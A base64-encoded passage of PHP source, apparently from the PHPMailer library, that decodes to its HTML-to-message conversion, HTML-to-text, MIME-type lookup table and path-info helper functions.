dhbnQgdG8gYXBwbHkgdGhlc2UgdHJhbnNmb3JtYXRpb25zIHRvIHlvdXIgSFRNTCwganVzdCBzZXQgQm9keSBhbmQgQWx0Qm9keSBkaXJlY3RseS4NCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgSFRNTCBtZXNzYWdlIHN0cmluZw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGJhc2VkaXIgQWJzb2x1dGUgcGF0aCB0byBhIGJhc2UgZGlyZWN0b3J5IHRvIHByZXBlbmQgdG8gcmVsYXRpdmUgcGF0aHMgdG8gaW1hZ2VzDQogICAgICogQHBhcmFtIGJvb2xlYW58Y2FsbGFibGUgJGFkdmFuY2VkIFdoZXRoZXIgdG8gdXNlIHRoZSBpbnRlcm5hbCBIVE1MIHRvIHRleHQgY29udmVydGVyDQogICAgICogICAgb3IgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlciBAc2VlIFBIUE1haWxlcjo6aHRtbDJ0ZXh0KCkNCiAgICAgKiBAcmV0dXJuIHN0cmluZyAkbWVzc2FnZSBUaGUgdHJhbnNmb3JtZWQgbWVzc2FnZSBCb2R5DQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKQ0KICAgIHsNCiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy8oc3JjfGJhY2tncm91bmQpPVsiXCddKC4qKVsiXCddL1VpJywgJG1lc3NhZ2UsICRpbWFnZXMpOw0KICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkaW1hZ2VzKSkgew0KICAgICAgICAgICAgaWYgKHN0cmxlbigkYmFzZWRpcikgPiAxICYmIHN1YnN0cigkYmFzZWRpciwgLTEpICE9ICcvJykgew0KICAgICAgICAgICAgICAgIC8vIEVuc3VyZSAkYmFzZWRpciBoYXMgYSB0cmFpbGluZyAvDQogICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZm9yZWFjaCAoJGltYWdlc1syXSBhcyAkaW1naW5kZXggPT4gJHVybCkgew0KICAgICAgICAgICAgICAgIC8vIENvbnZlcnQgZGF0YSBVUklzIGludG8gZW1iZWRkZWQgaW1hZ2VzDQogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNeZGF0YTooaW1hZ2VbXjssXSopKDtiYXNlNjQpPywjJywgJHVybCwgJG1hdGNoKSkgew0KICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN1YnN0cigkdXJsLCBzdHJwb3MoJHVybCwgJywnKSk7DQogICAgICAgICAgICAgICAgICAgIGlmICgkbWF0Y2hbMl0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkZGF0YSk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHJhd3VybGRlY29kZSgkZGF0YSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJGNpZCA9IG1kNSgkdXJsKSAuICdAcGhwbWFpbGVyLjAnOyAvLyBSRkMyMzkyIFMgMg0KICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsICRjaWQsICdlbWJlZCcgLiAkaW1naW5kZXgsICdiYXNlNjQnLCAkbWF0Y2hbMV0pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9IHN0cl9yZXBsYWNlKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbWFnZXNbMF1bJGltZ2luZGV4XSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgNCiAgICAgICAgICAgICAgICAgICAgLy8gT25seSBwcm9jZXNzIHJlbGF0aXZlIFVSTHMgaWYgYSBiYXNlZGlyIGlzIHByb3ZpZGVkIChpLmUuIG5vIGFic29sdXRlIGxvY2FsIHBhdGhzKQ0KICAgICAgICAgICAgICAgICAgICAhZW1wdHkoJGJhc2VkaXIpDQogICAgICAgICAgICAgICAgICAgIC8vIElnbm9yZSBVUkxzIGNvbnRhaW5pbmcgcGFyZW50IGRpciB0cmF2ZXJzYWwgKC4uKQ0KICAgICAgICAgICAgICAgICAgICAmJiAoc3RycG9zKCR1cmwsICcuLicpID09PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAgICAgLy8gRG8gbm90IGNoYW5nZSB1cmxzIHRoYXQgYXJlIGFscmVhZHkgaW5saW5lIGltYWdlcw0KICAgICAgICAgICAgICAgICAgICAmJiBzdWJzdHIoJHVybCwgMCwgNCkgIT09ICdjaWQ6Jw0KICAgICAgICAgICAgICAgICAgICAvLyBEbyBub3QgY2hhbmdlIGFic29sdXRlIFVSTHMsIGluY2x1ZGluZyBhbm9ueW1vdXMgcHJvdG9jb2wNCiAgICAgICAgICAgICAgICAgICAgJiYgIXByZWdfbWF0Y2goJyNeW2Etel1bYS16MC05Ky4tXSo6Py8vI2knLCAkdXJsKQ0KICAgICAgICAgICAgICAgICkgew0KICAgICAgICAgICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkdXJsKTsNCiAgICAgICAgICAgICAgICAgICAgJGRpcmVjdG9yeSA9IGRpcm5hbWUoJHVybCk7DQogICAgICAgICAgICAgICAgICAgIGlmICgkZGlyZWN0b3J5ID09ICcuJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGRpcmVjdG9yeSA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDINCiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmxlbigkZGlyZWN0b3J5KSA+IDEgJiYgc3Vic3RyKCRkaXJlY3RvcnksIC0xKSAhPSAnLycpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgLj0gJy8nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+YWRkRW1iZWRkZWRJbWFnZSgNCiAgICAgICAgICAgICAgICAgICAgICAgICRiYXNlZGlyIC4gJGRpcmVjdG9yeSAuICRmaWxlbmFtZSwNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsDQogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZW5hbWUsDQogICAgICAgICAgICAgICAgICAgICAgICAnYmFzZTY0JywNCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQ0KICAgICAgICAgICAgICAgICAgICApDQogICAgICAgICAgICAgICAgICAgICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJy8nIC4gJGltYWdlc1sxXVskaW1naW5kZXhdIC4gJz1bIlwnXScgLiBwcmVnX3F1b3RlKCR1cmwsICcvJykgLiAnWyJcJ10vVWknLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbWFnZXNbMV1bJGltZ2luZGV4XSAuICc9ImNpZDonIC4gJGNpZCAuICciJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQ0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkdGhpcy0+aXNIVE1MKHRydWUpOw0KICAgICAgICAvLyBDb252ZXJ0IGFsbCBtZXNzYWdlIGJvZHkgbGluZSBicmVha3MgdG8gQ1JMRiwgbWFrZXMgcXVvdGVkLXByaW50YWJsZSBlbmNvZGluZyB3b3JrIG11Y2ggYmV0dGVyDQogICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkbWVzc2FnZSk7DQogICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsNCiAgICAgICAgaWYgKCEkdGhpcy0+YWx0ZXJuYXRpdmVFeGlzdHMoKSkgew0KICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAnVG8gdmlldyB0aGlzIGVtYWlsIG1lc3NhZ2UsIG9wZW4gaXQgaW4gYSBwcm9ncmFtIHRoYXQgdW5kZXJzdGFuZHMgSFRNTCEnIC4NCiAgICAgICAgICAgICAgICBzZWxmOjpDUkxGIC4gc2VsZjo6Q1JMRjsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJHRoaXMtPkJvZHk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ29udmVydCBhbiBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuDQogICAgICogVGhpcyBpcyB1c2VkIGJ5IG1zZ0hUTUwoKS4NCiAgICAgKiBOb3RlIC0gb2xkZXIgdmVyc2lvbnMgb2YgdGhpcyBmdW5jdGlvbiB1c2VkIGEgYnVuZGxlZCBhZHZhbmNlZCBjb252ZXJ0ZXINCiAgICAgKiB3aGljaCB3YXMgYmVlbiByZW1vdmVkIGZvciBsaWNlbnNlIHJlYXNvbnMgaW4gIzIzMi4NCiAgICAgKiBFeGFtcGxlIHVzYWdlOg0KICAgICAqIDxjb2RlPg0KICAgICAqIC8vIFVzZSBkZWZhdWx0IGNvbnZlcnNpb24NCiAgICAgKiAkcGxhaW4gPSAkbWFpbC0+aHRtbDJ0ZXh0KCRodG1sKTsNCiAgICAgKiAvLyBVc2UgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlcg0KICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwsIGZ1bmN0aW9uKCRodG1sKSB7DQogICAgICogICAgICRjb252ZXJ0ZXIgPSBuZXcgTXlIdG1sMnRleHQoJGh0bWwpOw0KICAgICAqICAgICByZXR1cm4gJGNvbnZlcnRlci0+Z2V0X3RleHQoKTsNCiAgICAgKiB9KTsNCiAgICAgKiA8L2NvZGU+DQogICAgICogQHBhcmFtIHN0cmluZyAkaHRtbCBUaGUgSFRNTCB0ZXh0IHRvIGNvbnZlcnQNCiAgICAgKiBAcGFyYW0gYm9vbGVhbnxjYWxsYWJsZSAkYWR2YW5jZWQgQW55IGJvb2xlYW4gdmFsdWUgdG8gdXNlIHRoZSBpbnRlcm5hbCBjb252ZXJ0ZXIsDQogICAgICogICBvciBwcm92aWRlIHlvdXIgb3duIGNhbGxhYmxlIGZvciBjdXN0b20gY29udmVyc2lvbi4NCiAgICAgKiBAcmV0dXJuIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBodG1sMnRleHQoJGh0bWwsICRhZHZhbmNlZCA9IGZhbHNlKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCRhZHZhbmNlZCkpIHsNCiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkYWR2YW5jZWQsICRodG1sKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gaHRtbF9lbnRpdHlfZGVjb2RlKA0KICAgICAgICAgICAgdHJpbShzdHJpcF90YWdzKHByZWdfcmVwbGFjZSgnLzwoaGVhZHx0aXRsZXxzdHlsZXxzY3JpcHQpW14+XSo+Lio/PFwvXFwxPi9zaScsICcnLCAkaHRtbCkpKSwNCiAgICAgICAgICAgIEVOVF9RVU9URVMsDQogICAgICAgICAgICAkdGhpcy0+Q2hhclNldA0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEdldCB0aGUgTUlNRSB0eXBlIGZvciBhIGZpbGUgZXh0ZW5zaW9uLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHJldHVybiBzdHJpbmcgTUlNRSB0eXBlIG9mIGZpbGUuDQogICAgICogQHN0YXRpYw0KICAgICAqLw0KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gX21pbWVfdHlwZXMoJGV4dCA9ICcnKQ0KICAgIHsNCiAgICAgICAgJG1pbWVzID0gYXJyYXkoDQogICAgICAgICAgICAneGwnICAgID0+ICdhcHBsaWNhdGlvbi9leGNlbCcsDQogICAgICAgICAgICAnanMnICAgID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywNCiAgICAgICAgICAgICdocXgnICAgPT4gJ2FwcGxpY2F0aW9uL21hYy1iaW5oZXg0MCcsDQogICAgICAgICAgICAnY3B0JyAgID0+ICdhcHBsaWNhdGlvbi9tYWMtY29tcGFjdHBybycsDQogICAgICAgICAgICAnYmluJyAgID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLA0KICAgICAgICAgICAgJ2RvYycgICA9PiAnYXBwbGljYXRpb24vbXN3b3JkJywNCiAgICAgICAgICAgICd3b3JkJyAgPT4gJ2FwcGxpY2F0aW9uL21zd29yZCcsDQogICAgICAgICAgICAneGxzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC5zaGVldCcsDQogICAgICAgICAgICAneGx0eCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC50ZW1wbGF0ZScsDQogICAgICAgICAgICAncG90eCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwudGVtcGxhdGUnLA0KICAgICAgICAgICAgJ3Bwc3gnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnNsaWRlc2hvdycsDQogICAgICAgICAgICAncHB0eCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwucHJlc2VudGF0aW9uJywNCiAgICAgICAgICAgICdzbGR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5zbGlkZScsDQogICAgICAgICAgICAnZG9jeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsDQogICAgICAgICAgICAnZG90eCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC50ZW1wbGF0ZScsDQogICAgICAgICAgICAneGxhbScgID0+ICdhcHBsaWNhdGlvbi92bmQubXMtZXhjZWwuYWRkaW4ubWFjcm9FbmFibGVkLjEyJywNCiAgICAgICAgICAgICd4bHNiJyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbC5zaGVldC5iaW5hcnkubWFjcm9FbmFibGVkLjEyJywNCiAgICAgICAgICAgICdjbGFzcycgPT4gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsDQogICAgICAgICAgICAnZGxsJyAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLA0KICAgICAgICAgICAgJ2RtcycgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywNCiAgICAgICAgICAgICdleGUnICAgPT4gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsDQogICAgICAgICAgICAnbGhhJyAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLA0KICAgICAgICAgICAgJ2x6aCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywNCiAgICAgICAgICAgICdwc2QnICAgPT4gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsDQogICAgICAgICAgICAnc2VhJyAgID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLA0KICAgICAgICAgICAgJ3NvJyAgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywNCiAgICAgICAgICAgICdvZGEnICAgPT4gJ2FwcGxpY2F0aW9uL29kYScsDQogICAgICAgICAgICAncGRmJyAgID0+ICdhcHBsaWNhdGlvbi9wZGYnLA0KICAgICAgICAgICAgJ2FpJyAgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsDQogICAgICAgICAgICAnZXBzJyAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywNCiAgICAgICAgICAgICdwcycgICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLA0KICAgICAgICAgICAgJ3NtaScgICA9PiAnYXBwbGljYXRpb24vc21pbCcsDQogICAgICAgICAgICAnc21pbCcgID0+ICdhcHBsaWNhdGlvbi9zbWlsJywNCiAgICAgICAgICAgICdtaWYnICAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5taWYnLA0KICAgICAgICAgICAgJ3hscycgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJywNCiAgICAgICAgICAgICdwcHQnICAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1wb3dlcnBvaW50JywNCiAgICAgICAgICAgICd3YnhtbCcgPT4gJ2FwcGxpY2F0aW9uL3ZuZC53YXAud2J4bWwnLA0KICAgICAgICAgICAgJ3dtbGMnICA9PiAnYXBwbGljYXRpb24vdm5kLndhcC53bWxjJywNCiAgICAgICAgICAgICdkY3InICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLA0KICAgICAgICAgICAgJ2RpcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsDQogICAgICAgICAgICAnZHhyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywNCiAgICAgICAgICAgICdkdmknICAgPT4gJ2FwcGxpY2F0aW9uL3gtZHZpJywNCiAgICAgICAgICAgICdndGFyJyAgPT4gJ2FwcGxpY2F0aW9uL3gtZ3RhcicsDQogICAgICAgICAgICAncGhwMycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwNCcgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwJyAgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGh0bWwnID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwcycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocC1zb3VyY2UnLA0KICAgICAgICAgICAgJ3N3ZicgICA9PiAnYXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2gnLA0KICAgICAgICAgICAgJ3NpdCcgICA9PiAnYXBwbGljYXRpb24veC1zdHVmZml0JywNCiAgICAgICAgICAgICd0YXInICAgPT4gJ2FwcGxpY2F0aW9uL3gtdGFyJywNCiAgICAgICAgICAgICd0Z3onICAgPT4gJ2FwcGxpY2F0aW9uL3gtdGFyJywNCiAgICAgICAgICAgICd4aHQnICAgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsDQogICAgICAgICAgICAneGh0bWwnID0+ICdhcHBsaWNhdGlvbi94aHRtbCt4bWwnLA0KICAgICAgICAgICAgJ3ppcCcgICA9PiAnYXBwbGljYXRpb24vemlwJywNCiAgICAgICAgICAgICdtaWQnICAgPT4gJ2F1ZGlvL21pZGknLA0KICAgICAgICAgICAgJ21pZGknICA9PiAnYXVkaW8vbWlkaScsDQogICAgICAgICAgICAnbXAyJyAgID0+ICdhdWRpby9tcGVnJywNCiAgICAgICAgICAgICdtcDMnICAgPT4gJ2F1ZGlvL21wZWcnLA0KICAgICAgICAgICAgJ21wZ2EnICA9PiAnYXVkaW8vbXBlZycsDQogICAgICAgICAgICAnYWlmJyAgID0+ICdhdWRpby94LWFpZmYnLA0KICAgICAgICAgICAgJ2FpZmMnICA9PiAnYXVkaW8veC1haWZmJywNCiAgICAgICAgICAgICdhaWZmJyAgPT4gJ2F1ZGlvL3gtYWlmZicsDQogICAgICAgICAgICAncmFtJyAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsDQogICAgICAgICAgICAncm0nICAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsDQogICAgICAgICAgICAncnBtJyAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpby1wbHVnaW4nLA0KICAgICAgICAgICAgJ3JhJyAgICA9PiAnYXVkaW8veC1yZWFsYXVkaW8nLA0KICAgICAgICAgICAgJ3dhdicgICA9PiAnYXVkaW8veC13YXYnLA0KICAgICAgICAgICAgJ2JtcCcgICA9PiAnaW1hZ2UvYm1wJywNCiAgICAgICAgICAgICdnaWYnICAgPT4gJ2ltYWdlL2dpZicsDQogICAgICAgICAgICAnanBlZycgID0+ICdpbWFnZS9qcGVnJywNCiAgICAgICAgICAgICdqcGUnICAgPT4gJ2ltYWdlL2pwZWcnLA0KICAgICAgICAgICAgJ2pwZycgICA9PiAnaW1hZ2UvanBlZycsDQogICAgICAgICAgICAncG5nJyAgID0+ICdpbWFnZS9wbmcnLA0KICAgICAgICAgICAgJ3RpZmYnICA9PiAnaW1hZ2UvdGlmZicsDQogICAgICAgICAgICAndGlmJyAgID0+ICdpbWFnZS90aWZmJywNCiAgICAgICAgICAgICdlbWwnICAgPT4gJ21lc3NhZ2UvcmZjODIyJywNCiAgICAgICAgICAgICdjc3MnICAgPT4gJ3RleHQvY3NzJywNCiAgICAgICAgICAgICdodG1sJyAgPT4gJ3RleHQvaHRtbCcsDQogICAgICAgICAgICAnaHRtJyAgID0+ICd0ZXh0L2h0bWwnLA0KICAgICAgICAgICAgJ3NodG1sJyA9PiAndGV4dC9odG1sJywNCiAgICAgICAgICAgICdsb2cnICAgPT4gJ3RleHQvcGxhaW4nLA0KICAgICAgICAgICAgJ3RleHQnICA9PiAndGV4dC9wbGFpbicsDQogICAgICAgICAgICAndHh0JyAgID0+ICd0ZXh0L3BsYWluJywNCiAgICAgICAgICAgICdydHgnICAgPT4gJ3RleHQvcmljaHRleHQnLA0KICAgICAgICAgICAgJ3J0ZicgICA9PiAndGV4dC9ydGYnLA0KICAgICAgICAgICAgJ3ZjZicgICA9PiAndGV4dC92Y2FyZCcsDQogICAgICAgICAgICAndmNhcmQnID0+ICd0ZXh0L3ZjYXJkJywNCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3RleHQveG1sJywNCiAgICAgICAgICAgICd4c2wnICAgPT4gJ3RleHQveG1sJywNCiAgICAgICAgICAgICdtcGVnJyAgPT4gJ3ZpZGVvL21wZWcnLA0KICAgICAgICAgICAgJ21wZScgICA9PiAndmlkZW8vbXBlZycsDQogICAgICAgICAgICAnbXBnJyAgID0+ICd2aWRlby9tcGVnJywNCiAgICAgICAgICAgICdtb3YnICAgPT4gJ3ZpZGVvL3F1aWNrdGltZScsDQogICAgICAgICAgICAncXQnICAgID0+ICd2aWRlby9xdWlja3RpbWUnLA0KICAgICAgICAgICAgJ3J2JyAgICA9PiAndmlkZW8vdm5kLnJuLXJlYWx2aWRlbycsDQogICAgICAgICAgICAnYXZpJyAgID0+ICd2aWRlby94LW1zdmlkZW8nLA0KICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnDQogICAgICAgICk7DQogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGV4dCksICRtaW1lcykpIHsNCiAgICAgICAgICAgIHJldHVybiAkbWltZXNbc3RydG9sb3dlcigkZXh0KV07DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIE1hcCBhIGZpbGUgbmFtZSB0byBhIE1JTUUgdHlwZS4NCiAgICAgKiBEZWZhdWx0cyB0byAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywgaS5lLi4gYXJiaXRyYXJ5IGJpbmFyeSBkYXRhLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lIEEgZmlsZSBuYW1lIG9yIGZ1bGwgcGF0aCwgZG9lcyBub3QgbmVlZCB0byBleGlzdCBhcyBhIGZpbGUNCiAgICAgKiBAcmV0dXJuIHN0cmluZw0KICAgICAqIEBzdGF0aWMNCiAgICAgKi8NCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSkNCiAgICB7DQogICAgICAgIC8vIEluIGNhc2UgdGhlIHBhdGggaXMgYSBVUkwsIHN0cmlwIGFueSBxdWVyeSBzdHJpbmcgYmVmb3JlIGdldHRpbmcgZXh0ZW5zaW9uDQogICAgICAgICRxcG9zID0gc3RycG9zKCRmaWxlbmFtZSwgJz8nKTsNCiAgICAgICAgaWYgKGZhbHNlICE9PSAkcXBvcykgew0KICAgICAgICAgICAgJGZpbGVuYW1lID0gc3Vic3RyKCRmaWxlbmFtZSwgMCwgJHFwb3MpOw0KICAgICAgICB9DQogICAgICAgICRwYXRoaW5mbyA9IHNlbGY6Om1iX3BhdGhpbmZvKCRmaWxlbmFtZSk7DQogICAgICAgIHJldHVybiBzZWxmOjpfbWltZV90eXBlcygkcGF0aGluZm9bJ2V4dGVuc2lvbiddKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBNdWx0aS1ieXRlLXNhZmUgcGF0aGluZm8gcmVwbGFjZW1lbnQuDQogICAgICogRHJvcC1pbiByZXBsYWNlbWVudCBmb3IgcGF0aGluZm8oKSwgYnV0IG11bHRpYnl0ZS1zYWZlLCBjcm9zcy1wbGF0Zm9ybS1zYWZlLCBvbGQtdmVyc2lvbi1zYWZlLg0KICAgICAqIFdvcmtzIHNpbWlsYXJseSB0byB0aGUgb25lIGluIFBIUCA+PSA1LjIuMA0KICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucGF0aGluZm8ucGhwIzEwNzQ2MQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggQSBmaWxlbmFtZSBvciBwYXRoLCBkb2VzIG5vdCBuZWVkIHRvIGV4aXN0IGFzIGEgZmlsZQ0KICAgICAqIEBwYXJhbSBpbnRlZ2VyfHN0cmluZyAkb3B0aW9ucyBFaXRoZXIgYSBQQVRISU5GT18qIGNvbnN0YW50LA0KICAgICAqICAgICAgb3IgYSBzdHJpbmcgbmFtZSB0byByZXR1cm4gb25seSB0aGUgc3BlY2lmaWVkIHBpZWNlLCBhbGxvd3MgJ2ZpbGVuYW1lJyB0byB3b3JrIG9uIFBIUCA8IDUuMg0KICAgICAqIEByZXR1cm4gc3RyaW5nfGFycmF5DQogICAgICogQHN0YXRpYw0KICAgICAqLw0KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbWJfcGF0aGluZm8oJHBhdGgsICRvcHRpb25zID0gbnVsbCkNCiAgICB7DQogICAgICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsNCiAgICAgICAgJHBhdGhpbmZvID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKHByZWdfbWF0Y2goJyVeKC4qPylbXFxcXC9dKigoW14vXFxcXF0qPykoXC4oW15cLlxcXFwvXSs/KXwpKVtcXFxcL1wuXSokJWltJywgJHBhdGgsICRwYXRoaW5mbykpIHsNCiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDEsICRwYXRoaW5mbykpIHsNCiAgICAgICAgICAgICAgICAkcmV0WydkaXJuYW1lJ10gPSAkcGF0aGluZm9bMV07DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkcGF0aGluZm8pKSB7DQogICAgICAgICAgICAgICAgJHJldFsnYmFzZW5hbWUnXSA9ICRwYXRoaW5mb1syXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzK